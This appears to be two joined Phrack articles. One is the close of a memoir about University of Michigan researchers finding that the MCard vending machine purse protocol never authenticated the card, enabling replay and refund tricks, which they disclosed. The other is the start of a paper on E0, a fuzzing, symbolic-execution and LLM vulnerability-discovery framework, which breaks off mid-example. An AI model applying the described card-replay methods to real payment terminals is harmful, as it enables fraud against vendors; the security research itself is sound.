keys and do a little cryptography. Today we use smartphones for all that, but 25 years ago, the smart card's peculiar hardware and barren API offered interesting possibilities. CITI was fortunate that one of its alumni was well situated at an industrial research lab, and in 1996 brought CITI in on some collaborative research. Bellcore cryptographers had cooked up some fast, scalable ciphers for videoconferencing that wanted a trusted computing base for key distribution, and it seemed like a smart card might fit the bill. At that moment, CITI needed more R&D $$$ pretty badly and proposed to take on the work. Remarkably, CITI succeeded in building the smart card-based key store. We paid some bills, learned a lot about smart cards, and got some nice papers out of the collaboration. By coincidence, just as CITI began investigating smart card capabilities and developing smart card competencies, the University of Michigan was deploying a smart card-based ID card -- the MCard -- equipped with an electronic purse application. The University had a business agreement with a bank and a vending machine supplier: the bank installed charging stations all over campus so that students, faculty, and staff could fill their electronic purses with up to $50 and the vending machine supplier installed and serviced vending machines retrofitted with smart card modules all over campus. Somehow, they periodically settled accounts. As with most projects like this, it probably never made or even saved anybody any money and the chip card based MCard is now a faded memory. But at the time, smart card reader-equipped vending machines were all over campus, even in off-campus offices like CITI, where we had a snack machine and a pop machine in our lunchroom. This was an obvious target and a temptation. It didn't take us long to begin tracing the communication between the MCard and the vending machine. Guess what we found. >:) --[ 4 - The MCard electronic purse protocol A smart card spends most of its life in a lonely powered-down state, crushed in a wallet or buried in a purse, but when inserted into a reader, the card springs to life, resets itself into a predetermined state, and awaits commands. Smart card communication obeys a suite of standards, known as ISO 7816, that govern physical aspects of the card, such as shape and size, location of the contacts, the serial data interface, and describe an RPC-like protocol that allows the exchange of structured command/response pairs and challenge/response authenticators. The card stores long-term keys and other data in a hierarchical file system with idiosyncratic access controls. We can imagine a bare-bones electronic purse protocol in which 1 the vending machine checks that the purse has sufficient funds, then 2 the cardholder makes and receives a selection, then 3 the vending machine updates the purse. This protocol is vulnerable to a simple attack, called tearing, in which the cardholder forcibly removes the card after step 2 (deliver the selection) but before step 3 (update the purse), and indeed, this protocol is not what we found when we traced the messages exchanged between a vending machine and an MCard. Instead, we found a two-phase protocol that resists tearing by reserving funds prior to product selection and debiting the funds and committing the transaction after product selection. Message to MCard MCard response Wake up! I'm awake How much $$$ in the purse? $18.23 Show me the last entry in the log $18.23 Give me a nonce Here is a nonce Send nonce encrypted with shared key Vending machine is authentic Reserve $1.25 in the log OK Table: Pre-selection phase of the MCard electronic purse transaction. The vending machine has reserved $1.25 on the MCard and awaits consumer product selection. Already, a flaw in the electronic purse protocol is evident. The card does not trust the vending machine and requires it to authenticate before writing to the log, but the vending machine never authenticates the card. This suggests an obvious replay attack. To be clear, if we can program a computer to utter the MCard responses shown above, we can use an inverse card reader or a JavaCard to inject those messages into a vending machine. The unsuspecting (literally!) vending machine believes it is talking to an MCard with $18.23 in its purse. A bottomless purse, forever. (This feature is what got the attention of the Secret Service.) Back to the transaction in progress. So far, the first phase of the protocol has reserved funds in a log. Following product selection, the second phase debits the purse and updates the log, authenticating itself in both updates. It's up to the next vending machine that reads the card to confirm that the log and the purse agree and to reconcile them if they don't. Message to MCard MCard response Give me a nonce Here is a nonce Debit $1.10 from the purse, \ authenticated with encrypted nonce OK Another nonce-based authentication OK Log the $1.10 transaction OK Table: Post-selection phase of the MCard electronic purse transaction To belabor the point about the replay attack, during a purchase, the MCard authenticates the vending machine three times: twice prior to writing to the log and once during the debit operation. But at no time does the MCard authenticate to the vending machine. It would certainly be possible to engineer a challenge/response that runs in the opposite direction, indeed, the smart card has a specific API for this Arguably, authenticating the card is the very first thing the vending machine should do when a card is presented. So why didn't the smart card developer include this in their protocol? Or even simpler, reverse steps 2 and 3 in the bare-bones protocol described earlier. We can only speculate. The system we observe protects against attacks on the card and leaves the vending machine wide open. This makes a certain amount of sense: to attack a card, you need only a PC and a card reader, but attacking a vending machine requires tools like CITI's bespoke card extender and inverse card reader. So, if you don't believe hackers will invest a lot of time and attention to fraudulently purchase a bag of potato chips, you may deem it unnecessary to cryptographically authenticate the smart card. We have seen other instances where industry has a blind spot about the capabilities and interests of hackers (especially university-affiliated hackers). "User experience" considerations may also play a role. Like most smart cards, the MCard featured an 8-bit microprocessor running at 3.57 MHz, communicating half-duplex through one contact at about 1 msec per byte. Slow processing and communication produces authentication round-trip times longer than a second. If too many seconds elapse between card insertion and the vending machine signaling readiness, or if even a second goes by between selection of a product and the delivery of that product, the customer is going to be frustrated. If round trips were fast, the protocol might look something like 1 Mutually authenticate 2 Check purse value 3 Customer makes selection 4 Update the purse 5 Deliver the selection 6 Eject card The critical section lies between steps 3 and 5, updating the purse between the time the customer presses a button to make a selection and the start of product delivery. This is when the customer is most anxious about their purchase: if that little spiral holding the KitKat Bar doesn't begin to spin immediately, the user experience breaks down and havoc can ensue. But even this protocol fails in the face of a determined hacker. Taking the inverse card reader to the next level, CITI developed a monkey-in-the-middle apparatus that filters messages from the vending machine, directing them either to a legitimate card or to a rogue application. This can defeat any protocol that doesn't cryptographically sign messages (at the very least). --[ 5 - Responsible disclosure We had good contacts on the card manufacturer's research team, and a productive phone call took place right away. Naturally, we shared our discovery with university officials as well; actually, that was the first phone call. The response was lukewarm thanks. But one official with whom we met surprised us by pulling a Visitor MCard out of a desk drawer and informed us that every time they inserted this card into a vending machine, five quarters dropped into the coin return! We borrowed the card and examined it in our lab. The card has a subtle flaw: the key file for authenticating the vending machine is unreadable, so when the vending machine wants to reserve funds in the log, authentication fails and the card reports an error. What happens next requires us to speculate. The smart card module is retrofitted to an OG vending machine stocked with items that cost less than $1.25. The module verifies that there is $1.25 in the purse, tells the vending machine to credit the customer with $1.25, and reserves $1.25 in the log. We don't know in which order the module takes these steps, but the order is important! When the authentication step fails, the smart card module appears to throw up its hands, eject the card, and go offline. The vending machine is now holding the bag for $1.25, and the smart card module is offline. The vending machine can't credit the refund to the card, so it does what an OG vending machine knows how to do: cash refund. Five quarters drop into the coin return. We were excited by this discovery! Together with the earlier vulnerability, we could strip a vending machine of all of its product and all of its cash (if we dared). We were especially amused by the sound of a vending machine eventually dry-heaving quarters it didn't have: <cough cough cough cough cough>. I wish we had recorded that. Nonetheless, our sense at CITI was that these vulnerabilities were too shallow to merit a refereed publication, and to an extent was a distraction from our sponsored research, so we talked about it at a few conference rump sessions and that was the end of it. But we also saw another possibility: funding ongoing smart card research. No, not like that! Having proved our skills to the smart card vendor, we were encouraged to submit a modest proposal (to tunnel IP and ICMP through ISO 7816), but it turned out that vendor higher-ups had bigger ideas and approached CITI with a much broader scope and an order of magnitude larger price tag in mind. CITI initiated the Program in Smartcard Technology in the fall of 1998 and celebrated: for the first time under my direction, CITI was on solid financial ground. I know what you're thinking, but I don't think Schlumberger bought CITI's silence. We sincerely believed that our discoveries were below the LPU ("least publishable unit") threshold. And there was genuine excitement on both sides about the potential for collaboration. But I'm sure they were grateful that they weren't forced to reflash their worldwide installed base of vending machine smart card modules, and perhaps the grant was one way for them to show their gratitude. Whatever, we spent it all ... on student stipends, tuition, staff salaries, conference organizing, publishing, traveling, etc. One of our earliest objectives was a smart card-based Kerberos sign-on for our UNIX and Windows computers and we got pretty far with it: we found a card that supports DES and extended the Kerberos library to use that card to perform client-side cryptography and key management. To support smart card authentication on Windows, we extended the Windows Graphical Identification and Authentication (GINA) to support the Pluggable Authentication Method (PAM) and developed a smart card PAM module. We built a VFS layer for the smart card's ISO 7816 hierarchical file system, allowing smart card files and directories to be navigated and updated through a POSIX interface. We implemented ISO 7816 IP tunnel endpoints on UNIX and JavaCard, implemented TCP and IP on JavaCard, and implemented a web server on top of that. We designed and implemented a middleware layer that supports remote access to physically secure smart cards and extended Kerberos V5 and SSH to use that infrastructure for client-side key management and cryptography. We built handsome hardware that allows a Palm Pilot to connect to a smart card and developed Palm Pilot software to use the smart card as a key store. We designed and implemented personal secure boot, an extension to GRUB that stores software component hashes on a smart card and uses the hashes to ensure component integrity at boot time. We open-sourced all the software that we developed under a very permissive license. We also used the funds to support travel and to evangelize the smart card way. I joined IFIP WG 8.8 as Co-Vice Chair to help organize smart card conferences in Louvain-la-Neuve, Chicago, Bristol, San Jose, Toulouse, and Tarragona; ran smart card demos at CCC in a field outside Berlin; and taught a graduate seminar in smart cards at Michigan, flying in European experts as guest speakers. CITI also made a major showing at HAL 2001 (Me, Jim Rees, Charles Antonelli, Andy Adamson, Dros Adamson, Dug Song, Niels Provos, Olga Kornievskaia; some CITI sons and lovers tagged along, too) and organized a well-attended smart card hacking workshop there. --[ 6 - Aftermath (and airing of grievances) CITI's burst of smart card research lasted only a few years, for reasons, some of them the usual ones, like money drying up and students graduating. We had good relationships with our industry partners in the Dallas suburbs, but the center of gravity for smart card R&D was in France -- which we loved because we were forced to travel to beautiful French cities for meetings -- but it was hard to make an impact in that crowd, which was excited about explosive growth in SIMs and not that interested in a smart card that communicated with TCP/IP and web protocols. (We honestly could not understand that.) Also, none of us is fluent in French, alas. When we tried to get some attention by nominating ourselves for the CARTES '2000 Innovation Award, well, the nomination had to be in French. We submitted it in English. You can imagine how the French jury responded. (They didn't.) Adding insult to injury, when CARTES got around to recognizing an Internet smart card, the award went to a group that did its TCP and IP processing off-card, merely tunneling application layer payloads through ISO 7816. >:( But it wasn't just our big egos. Hardware limitations were a big reason. CITI had a vision of the smart card as the trust anchor of a personal computing environment and built stepping stones toward that vision: a Kerberos single sign-on for UNIX and Windows you could carry in your wallet, a UNIX file system for secure storage of personal records, TCP/IP for reliable end-to-end communication, even a web server, for what it's worth! When we started, conventional wisdom held that all this -- on an eight-bit microprocessor running at 3.57 MHz with 200 bytes of RAM -- was impossible. At that point, it wasn't clear what to do next to achieve our vision: we needed more cycles, more storage, more bandwidth. So we waited for smart cards to get better but unlike every other computer technology smart cards got no faster, no more capable. They never did, really. Nonetheless, smart cards did succeed -- wildly, and essentially contemporaneously: mobile phone technologies exploded in the new millennium, with smart card SIMs the mechanism for low-level mobile phone identification and authentication. And it turns out that is all that a smart card really needs to do, with high-performance trust management now built directly into smartphone silicon. Soon, eSIMs and NFC payments will obsolete smart cards altogether. --[ 7 - Dodging the Feds So back to that tense meeting with the Secret Service. I told them all we had learned about the MCard and its vulnerabilities. Our guests were businesslike and intelligent, and the briefing was over in an hour. Then it was time for a lab tour, the high point of which was the lunchroom. As we approached the cowering, trembling vending machines, I asked the head fed if he would care for a demo. His enthusiasm was unvarnished: he would love a demo! I pulled a white card out of my pocket and offered it with outstretched arm. He paused. Smiled. No demonstration would be necessary. He left us with some Secret Service baseball caps and t-shirts and we all waved goodbye. --[ 8 - Acknowledgments Jim Rees, Chief Technologist at CITI, conceived of, designed, and built all of the hardware and software tools described here, and wrote and deployed most of the diagnostic software. Naomaru Itoi built the smart card file system and the secure boot extension, did all the Kerberos and Windows integration, and, with Tomoko Fukuzawa, conceived of and implemented the remote Internet smart card concept. Brahm Windeler ran lots and lots of tests. Bellcore provided early funding; Avi Rubin was instrumental in getting CITI started with smart card R&D. Schlumberger funded a two-year Program in Smartcard Technology at CITI; Scott Guthery, Tim Jurgenson, and Bertrand du Castel were essential in navigating deep technical waters. --[ 9 - Publications funded through the Program in Smartcard Technology Itoi, N., Honeyman, P. Pluggable authentication modules for Windows NT. 2nd USENIX Windows NT Symposium (Seattle, 1998). Itoi, N., Honeyman, P. Practical security systems with smartcards. IEEE 7th Workshop on Hot Topics in Operating Systems (Rio Rico, 1999). Itoi, N., Honeyman, P. Smartcard integration with Kerberos v5. USENIX Workshop on Smartcard Technology (Chicago, 1999). Itoi, N., Honeyman, P., Rees, J. SCFS: a UNIX filesystem for smartcards. USENIX Workshop on Smartcard Technology (Chicago, 1999). Itoi, N., Fukuzawa, T., Honeyman, P. Secure Internet Smartcards. 1st International JavaCard Workshop (Cannes, 2000). Rees, J., Honeyman, P. WebCard: a Java Card web server. IFIP TC8/WG8.8 4th Working Conference on Smart Card Research and Advanced Applications (Bristol, 2000). Itoi, N., Arbaugh, W.A., Pollack, S.J., Reeves, D.M. Personal Secure Booting. 6th Australasian Conference on Information Security and Privacy (Sydney, 2001). Itoi, N. Integrating Secure Hardware into Modern Security Systems: Authentication, Secure Storage, and Secure Bootstrap. Doctoral dissertation, University of Michigan, 2001. --[ 10 - About the author Peter Honeyman is Research Professor Emeritus of Computer Science and Engineering at the University of Michigan. Honeyman holds the B.G.S. (with distinction) from the University of Michigan and the M.S.E., M.A., and Ph.D. degrees from Princeton University. After completing doctoral studies in relational database theory under the supervision of J.D. Ullman, he joined Bell Labs as a Member of Technical Staff in computer systems research, then returned to Princeton as Assistant Professor of Computer Science. He joined the University of Michigan faculty in 1986 and retired in 2022. With a focus on networking, file systems, security, and mobile computing, Honeyman was instrumental in numerous significant software projects including Honey DanBer UUCP, PathAlias, MacNFS, Disconnected AFS, WebCard (the first Internet smart card), the Linux-based open-source reference implementation of NFSv4, and pNFS extensions for high end computing. Honeyman taught more than forty undergraduate and graduate courses, chaired nine doctoral committees, published more than sixty refereed journal and conference papers, chaired the USENIX Workshop on File Systems (1992), USENIX Annual Technical Conference (1995), IEEE International Workshop on Services in Distributed and Networked Environments (1996), USENIX Workshop on Smartcard Technologies (1999), IFIP Smart Card Research and Advanced Application Conference (CARDIS, 2002), was Area Chair for Security and Privacy at HAL 2001 in Enschede, and served on over sixty other program committees, including the International Conference on System Administration and Network Engineering (SANE) in Maastricht (2000, 2002), Amsterdam (2004), and Delft (2006). In 2007, Honeyman was awarded the USENIX Lifetime Achievement Award "for his work as a mentor to so many leaders in our field." In 2016, Honeyman and co-authors Niels Provos and Markus Friedl were awarded the USENIX Security Test-of-Time award for their 2003 paper "Preventing Privilege Escalation." Honeyman received the University of Michigan College of Engineering Edward Law Emeritus Outstanding Service Award in 2025. ]]> https://phrack.org/issues/72/e0-selective-symbolic-instrumentation.html Tue, 19 Aug 2025 00:00:00 +0000 Jex Amro Phrack #72 phrack-72-15 |=-----------------------------------------------------------------------=| |=-----------=[ E0: Selective Symbolic Instrumentation ]=----------=| |=-----------=[ Powering Data-Flow Fuzzing and LLM Reasoning ]=----------=| |=-----------------------------------------------------------------------=| |=-----------------------------=[ Jex Amro ]=----------------------------=| |=--------------------=[ @jexamro <jx@squarelabs.ai> ]=------------------=| |=-----------------------------------------------------------------------=| -- Table of contents 0 - Introduction 1 - Fuzzing 2 - Symbolic Execution 3 - Large Language Models (LLMs) 4 - Towards a Hybrid Approach 4.1 - Data-Flow vs Code-Coverage Guidance 4.2 - E0 Design Decisions 5 - E0 Architecture 6 - Selective Symbolic Instrumentation 7 - Symbolic Definitions 8 - Data-Flow Coverage Metrics 9 - Fine-Grained Memory Instrumentation via Hardware Watchpoints 10 - Validating E0: From Simple Benchmarks to Real-World Testing 11 - Case Study: CVE-2024-44297 in ImageIO 12 - LLM Integration & Symbolic-Guided Analysis 12.1 - Instruction-Following Models 12.2 - Guiding LLM Attention with Symbolic Expressions and Constraints 12.3 - Code Context Representation 12.4 - Context Expansion via MCP, A2A and On-Demand Decompilation 12.5 - Modular Reasoning vs Chain-of-Thought Prompts 12.6 - Reverse Prompt Engineering 12.7 - Ensemble Consensus Prompting 12.8 - Feedback Loop With Fuzzing and Symbolic Execution 13 - Alpha Source Code Release 14 - Acknowledgments 15 - Conclusion 16 - References 17 - Source Code --[ 0 - Introduction Imagine a fuzzer driven by data-flow rather than code-coverage. One that follows input def-use chains from source to sink, enforces constraints at each step, and reasons only about the precise, ordered low-level operations that govern data propagation. Instead of blind randomness, it employs a mutation engine guided by symbolic reasoning and high-level semantic context. Initially, LLMs remain in deep sleep, awakened only when their broader insight is needed to analyze complex vulnerabilities requiring higher- level semantic or cross-function reasoning. You can query this engine to inspect its findings, direct its focus, and steer exploration toward areas of interest. We call this multi-layered binary analysis and instrumentation framework E0 (Explore from Ground Zero). E0 integrates fuzzing's speed, selective symbolic instrumentation's precision, and LLM guidance's semantic understanding, leveraging each technique's strengths and minimizing their limitations. While a full open-source release of the framework is planned, this Phrack issue includes an alpha snapshot of the most critical components supporting the techniques discussed here, enabling security researchers and engineers to directly experiment with and validate our novel methods. In this paper, we outline the challenges encountered in building E0 and introduce the solutions we developed. --[ 1 - Fuzzing It is mid-2025 and fuzzing remains the cornerstone of automated vulnerability discovery, thanks to its ability to generate massive numbers of diverse inputs at high speed, and to produce concrete, reproducible failures (crashes, hangs, and memory violations) that demand developer attention. By randomly mutating inputs guided by simple coverage heuristics, modern fuzzers can traverse thousands of execution paths per second with virtually no manual effort. However, fuzzing's randomized nature and its over-reliance on code-coverage metrics often leave deep, tightly guarded branches unexplored and miss subtle logic flaws or boundary conditions. Furthermore, without any semantic understanding of program state, fuzz campaigns can spend inordinate resources on redundant or low-value paths, making it difficult to target high-impact code regions without massive computational investment. --[ 2 - Symbolic Execution Symbolic execution fills fuzzing's blind spots by treating inputs as symbolic variables that are transformed into logical formulas and systematically exploring program paths via constraint solving. Its strength lies in generating concrete test cases for specific branches, uncovering corner-case errors, assertion failures, and subtle boundary violations without relying on coverage heuristics. For example, in a nested buffer-copy loop it can derive an input that triggers an off-by-one overflow or calculate the exact values needed to cause an integer overflow, or solve for a memory write that lands at a specific address. Yet symbolic execution operates only at the level of individual instructions and their accumulated formulas; it has no built-in notion of buffer sizes, object lifetimes, or business-logic rules. Without manually supplied checks, such as boundary conditions, function summaries, loop invariants, or custom heap models, many critical bugs go undetected. These include out-of-bounds writes, use-after-free conditions, and missing validations across multi-step transactions. Detecting a use-after-free, for example, requires encoding both allocation and deallocation semantics by hand, since the solver cannot distinguish freed memory from valid regions. This instruction-centric view also leads to explosive path growth: each branch doubles the search space and quickly overwhelms time and memory resources on complex binaries. SMT solvers may timeout on large complex expressions, and external interactions such as network I/O, system calls, or threading often require hand-written stubs or rough approximations that can miss behaviors or introduce false negatives or positives. While strategies such as search heuristics (depth-first versus breadth-first), state merging, interpolation, constraint caching, and mixed concrete- symbolic (Concolic) runs can alleviate some of the limitations, the core challenges of scalability, and broader contextual understanding remain. --[ 3 - Large Language Models (LLMs) By contrast, Large Language Models bring complementary strengths by naturally absorbing and manipulating broader semantic layers (functions, modules, design patterns), and synthesizing intent across thousands of lines of code. For example, given a snippet like: .-----------------------------------. | char buf[16]; | | write_user_data(buf, user_len); | '-----------------------------------' LLMs can warn: "Potential buffer overflow if 'user_len' > 16," without requiring any additional boundary specifications. In another snippet: .-----------------------------------. | ptr = malloc(...); | | free(ptr); | | ptr->field = x; | '-----------------------------------' LLMs can flag a use-after-free issue: "You're writing to freed memory here; ensure you don't access 'ptr' after it's freed". They can also spot missing business invariants, such as failing to roll back a transaction on failure, or suggest protocol fixes that span multiple functions. Yet they still stumble over low-level assembly and raw binaries: they hallucinate flag conditions ("this jump tests zero" when it actually tests carry), cannot compute dynamic branch targets, and hit context-window limits on very large repositories (truncating critical paths in a 20,000-line module). They struggle to pinpoint exact lines of code and visualize deeply nested jump chains, especially when registers are reused to hold different variables, which distracts their token-based attention. Time and computational cost further constrain them: longer contexts incur higher inference latency and significant compute expenses, making exhaustive analysis of massive code bases impractical. Despite these drawbacks, by leveraging prompt engineering, fine-tuning on domain-specific code, Model Context Protocol (MCP), and retrieval-augmented generation, researchers can still extract high-impact insights into memory-safety flaws, race conditions, and business-logic errors. However, LLMs frequently generate a high volume of false positives during vulnerability analysis when they lack precise data-flow and constraint information. In practice, an LLM may flag any external input as a potential attack surface, even when the input cannot reach or influence the vulnerable code in question. This over-flagging forces researchers to manually review numerous false findings or to invoke additional LLM inference rounds, sometimes with narrower prompts or more compute- intensive techniques, to validate true positives. While LLMs can deliver accurate results when a vulnerability is fully contained within a single function or module, real-world vulnerabilities often span multiple functions, modules, or processes. Reconstructing and supplying the full cross-function context is both challenging and expensive, in terms of engineering effort and inference latency, making validation and false- positive reduction the primary hurdles in applying LLMs to large-scale binary vulnerability research. --[ 4 - Towards a Hybrid Approach The contrast between symbolic execution's instruction-by-instruction precision and LLMs' broad, high-level reasoning highlights how they can address each other's blind spots. Symbolic execution supplies exact data-flow semantics: accumulated path constraints; variable liveness; input reachability; solved constraint-variable ranges; and cross-thread flows directly into AI pipelines, sparing LLMs the heavy lifting of inferring low-level data-flow details across vast source-code or decompiled binaries and thus dramatically reducing the volume of false positives that undermine purely LLM-driven analyses. In addition, since compiler optimizations and decompilation can alter or obscure actual control-flow and binary behavior, relying solely on source or decompiled code risks missing hidden bugs, whereas symbolic slicing operates on the real binary, preserving true execution behavior. In contrast, LLMs inject domain context, established design patterns, and high-level business-logic checks that symbolic tools cannot model. Combined in a dynamic feedback loop (fuzzing, on-demand symbolic slicing, and LLM-guided review), you achieve a self-reinforcing pipeline: fuzzers explore new paths informed by solved constraints; symbolic analysis attaches precise data-flow invariants; and LLMs transform those invariants into actionable, human-readable insights, all validated through native binary execution. An ideal hybrid system harnesses the raw throughput of unmodified binaries; triggers symbolic emulation only on input-derived code regions for minimal overhead; and enriches each LLM prompt with concise slices scoped to one or more functions (including their constraint inputs: arguments, memory-load values, and call-return values), augmented by SMT-solved variable ranges to eliminate infeasible scenarios up front. This fusion arms LLMs with concrete, high-fidelity context; reduces wasted inference cycles on false positives; and closes the loop with end-to-end fuzzing, uniting discovery breadth, symbolic precision, and AI reasoning into one scalable, low-latency vulnerability-discovery engine. ---[ 4.1 - Data-Flow vs Code-Coverage Guidance Data-Flow Guidance centers input exploration on the precise propagation of attacker-controlled data through program operations. By instrumenting and tracking def-use chains (capturing only those instructions that carry data derived from guarded inputs), E0 ensures that mutations and analyses focus exclusively on branches and operations aligned with data-flow. In contrast, Code-Coverage Guidance simply chases new basic blocks or branch targets without regard to semantic relevance. It may exercise the same edges thousands or even millions of times, wasting fuzz cycles on paths that bear no relation to exploitable state. Its only advantage is raw throughput: high volumes of test cases with minimal semantic insight. Data-Flow Guidance reduces noise, yields higher-quality test cases in fewer iterations, and in our approach, supplies precise data-flow context for downstream symbolic and AI layers to perform deeper reasoning, predict and help discover vulnerabilities, and generate inputs that trigger them. Moreover, unlike Code-Coverage Guidance (which requires its monitoring scope to be tied to specific modules or regions), data-flow instrumentation via (SSI) Selective Symbolic Instrumentation is applicable across all modules and threads (with optional scope narrowing when needed), enabling E0 to track untrusted-input data-flow throughout the entire application without sacrificing performance. ---[ 4.2 - E0 Design Decisions After extensive research and development, and multiple full rewrites, E0's design has converged on several core principles: - Harness-Based Fuzzer Compatibility: E0 operates exactly like a modern fuzzer by executing a user-supplied harness iteratively. Users provide a harness for the target functionality, along with a module name, a relative virtual address, and a register to capture, mark, and guard inputs. On each iteration, E0 takes the current sample and spawns new samples for every newly solved path constraint. With the optional -x flag, E0 will recursively execute each newly generated sample to further expand its exploration. - Crash-and-Hang Detection (in typical fuzzing fashion): the classic "definite outcome" mechanism, where E0 drives your harness and watches for native crashes, hangs, or illegal-memory accesses (even catching them early in emulation mode before they'd be swallowed by OS exception handlers). - Decoupled AI Analysis: To maximize selective symbolic instrumentation performance, E0 separates the heavy lifting of data-flow tracking from downstream AI processing. When run with the -log_symdefs flag, E0 writes collected symbolic definitions into a SQLite database, which AI agents can consume asynchronously in a separate process. - AI-Driven Prediction: symbolic data is fed to LLMs that flag likely vulnerabilities ahead of an actual trigger, and in the near future, will loop back to the fuzzer to validate generated candidate inputs. - Selective Instrumentation: We combine hardware watchpoints with OS-level page guards, then fall back exclusively on recursive, bitmap-driven watchpoint allocation for minimal overhead and maximal precision. - On-Demand Emulation: By using Triton's ONLY_ON_SYMBOLIZED mode, symbolic analysis is invoked only when a guarded memory access introduces a new symbolic operand, then immediately reverts to native execution once all symbolic state is concretized. - Layered Integration: Fuzzing provides breadth, the SMT solver refines precise path constraints, and an LLM-driven AI layer supplies high-level semantic reasoning. This synergy balances speed, accuracy, and contextual insight. These decisions enable the framework to operate from ground zero on closed-source binaries, scale across large, multithreaded codebases, and supply rich low-level symbolic insights to the AI layer, paving the way for high-confidence, low-overhead vulnerability discovery. --[ 5 - E0 Architecture E0 is architected as a multi-layered framework in which each component contributes to an integrated vulnerability discovery process. .-----------------------------------------. | | .-------------. .------V-------. .-----------------. | | Samples | ---> | Fuzzer | ---> | Debugger | <---. | '-------------' '--------------' '-----------------' | | | | | | .-------------. .--------------. .---------V----------. | | | Mutation | <--- | SMT Solver | <--- | Symbolic Execution | | | '-------------' '--------------' '--------------------' | | | | | .-------------. .--------------. .---------V----------. | | | Binja | <--> |Python Binding| <--- |Symbolic Definitions| | | '-------------' .--'--------------' '--------------------' | | | | | | .------V------. | .--------------. .--------------. | | | SQLite | <-' | AI | | MCP/A2A |--------' | | db | <--> | Agents | <--> | Servers |-----------' '-------------' '--------------' '--------------' [1] - Fuzzer --------------------------------------------------------------------------- - Role: Drives input generation and verifies vulnerabilities. - Function: Iteratively produces new inputs guided by solutions from the SMT solver, targeting unexplored or under-explored paths to increase overall path exploration and the likelihood of triggering vulnerabilities. In addition, the fuzzer plays a role in vulnerability verification by reproducing triggering conditions and validating observable failures such as crashes or hangs. [2] - Dynamic Instrumentation (Debugger - LiteTracer) --------------------------------------------------------------------------- - Role: Manages the seamless switching between native execution and symbolic emulation. - Function: Monitors runtime execution using hardware watchpoints and protected memory pages. It triggers Targeted Emulation when a memory access on a traced guarded memory location is detected, ensuring that symbolic analysis is focused on relevant code paths. [3] - Targeted Emulation (Selective Symbolic Execution) --------------------------------------------------------------------------- - Role: Performs symbolic analysis only when necessary and manages the transition back to native execution. - Function: Utilizes techniques such as Triton's ONLY_ON_SYMBOLIZED mode to process only instructions involving symbolic operands. Importantly, the term "Selective Symbolic Execution" here encompasses not only the optimization provided by Triton's ONLY_ON_SYMBOLIZED mode but also the overall targeted emulation strategy initiated by the dynamic selective instrumentation layer (Section 6) when critical memory accesses are detected. In addition, this component is responsible for switching back to native execution once all symbolic registers are concretized, thereby minimizing emulation overhead while capturing detailed symbolic expressions that reflect critical program behavior. [4] - SMT Solver (Z3 - Bitwuzla) --------------------------------------------------------------------------- - Role: Solves accumulated symbolic constraints. - Function: Computes precise variable ranges and refines symbolic expressions before passing them to the AI analysis layer, ensuring that the symbolic data is both accurate and actionable. [5] - Binary IR and Decompiler (Binary Ninja) --------------------------------------------------------------------------- - Role: Provides detailed structural code context. - Function: Disassembles and decompiles binaries to extract function boundaries, signatures, assembly code, pseudocode, and intermediate representations (such as LLIL, MLIL, HLIL and SSA forms). These insights help contextualize the symbolic expressions for subsequent LLM analysis. [6] - AI Layer (LLM Integration) --------------------------------------------------------------------------- - Role: Conducts vulnerability analysis. - Function: Leverages the well-structured symbolic expressions/definitions generated in the Selective Symbolic Execution layer (Section 6) to perform function-level or data-flow slices vulnerability assessments. [7] - Model Context Protocol (MCP) & Agent-to-Agent (A2A) --------------------------------------------------------------------------- - Status: Early research and development. - Role: Context retrieval and action invocation. - Function: Provides AI agents with a unified interface to fetch analysis data (function code, solved constraints, symbolic definitions) to enrich LLM context on-demand, and to invoke E0 operations such as fuzzing, debugging, sample generation, and verification. --[ 6 - Selective Symbolic Instrumentation (SSI) Selective Symbolic Instrumentation tracks external inputs by installing targeted memory monitors. These monitors trigger symbolic analysis only when external inputs directly influence execution, minimizing unnecessary emulation overhead. Each symbolic slice precisely captures data-flow and control-flow semantics, producing structured constraints for downstream SMT solving and AI analysis. This ensures deep, meaningful analysis precisely where needed, while preserving native execution speed elsewhere. The process begins by placing an OS-level guard on the input buffer's page. Any load from this guarded page generates a fault, pinpointing the first instruction to consume external bytes and spawning a focused symbolic emulation slice seeded with a concrete program state. As symbolic values propagate into registers, heap objects, stack locals, or globals, each newly touched page is likewise guarded. Subsequent faults cascade, mapping out the data-flow graph one step at a time as accumulated symbolic expressions, and ensuring that symbolic reasoning engages only when and where inputs actually affect control or state. .-------------------------------------------------------------------. | Example: Symbolic Emulation Session on a memmove Loop | |-------------------------------------------------------------------| | memmove 0x1804ab304: stp q0, q1, [x3] <- Symbolized mem write | | memmove 0x1804ab308: add x3, x3, #0x20 // Not Symbolized | | memmove 0x1804ab30c: ldnp q0, q1, [x1] <- triggers emulation | | memmove 0x1804ab310: add x1, x1, #0x20 // Not Symbolized | | memmove 0x1804ab314: subs x2, x2, #0x20 // Not Symbolized | | memmove 0x1804ab318: b.hi #0x1804ab304 // Not Symbolized | '-------------------------------------------------------------------' In this example, emulation is triggered at the first 'ldnp' instruction (0x1804ab30c) when the guarded source memory is accessed. Symbolic execution starts using Triton's ONLY_ON_SYMBOLIZED mode. Emulating that 'ldnp' instruction results in q0 and q1 registers being symbolized. As the loop continues, subsequent 'add' and 'subs' instructions will be emulated by Triton but remain unmarked for data-flow since they do not operate on symbolized operands. At 0x1804ab304 'stp q0, q1, [x3]' Triton will symbolize the destination memory because the source registers are symbolized. A Triton memory-access callback, set by E0, is then triggered: E0 guards the destination page, creating a new symbolic memory region. Emulation proceeds until all symbolic registers have been concretized (i.e., no further symbolic registers dependencies remain - only symbolic memory), at which point emulation ends and all guards are lifted to allow the debugger to natively step over the emulated code. Native execution then resumes until the next guarded memory access triggers another symbolic emulation session. The memmove example above represents a symbolic emulation session contained entirely within a single function and basic block, effectively capturing a concise slice of a selective symbolic emulation session. While the memmove session is bounded within one function, other symbolic sessions may span multiple functions. For instance, consider a more complex, cross-function slice that begins in Mod1.Func_A, continues into Mod2.Func_B, and then performs nested operations in Mod2.Func_C before returning to Mod2.Func_B: Triggers Symbolic MEM load | Mod1.Func_A ldr w8, [x1] <----- Emulation .-------------------------------------------------------------------------. | # [LogMemSymbolicDef] MEM Symdef id: f4a70000c1fe | | ((((SymVar_46) << 8 | SymVar_47) << 8 | SymVar_48) << 8 | SymVar_49) | '-------------------------------------------------------------------------' Symbolic w9 | Mod1.Func_A rev w9, w8 Symbolic x0 | Mod1.Func_A mov x0, x9 Symbolic RET x0 | Mod1.Func_A ret .-------------------------------------------------------------------------. | # [LogRetSymbolicDef] RET Symdef id: c0ffee0012c4 | | ((((SymVar_49) << 8 | SymVar_48) << 8 | SymVar_47) << 8 | SymVar_46) | '-------------------------------------------------------------------------' Symbolic 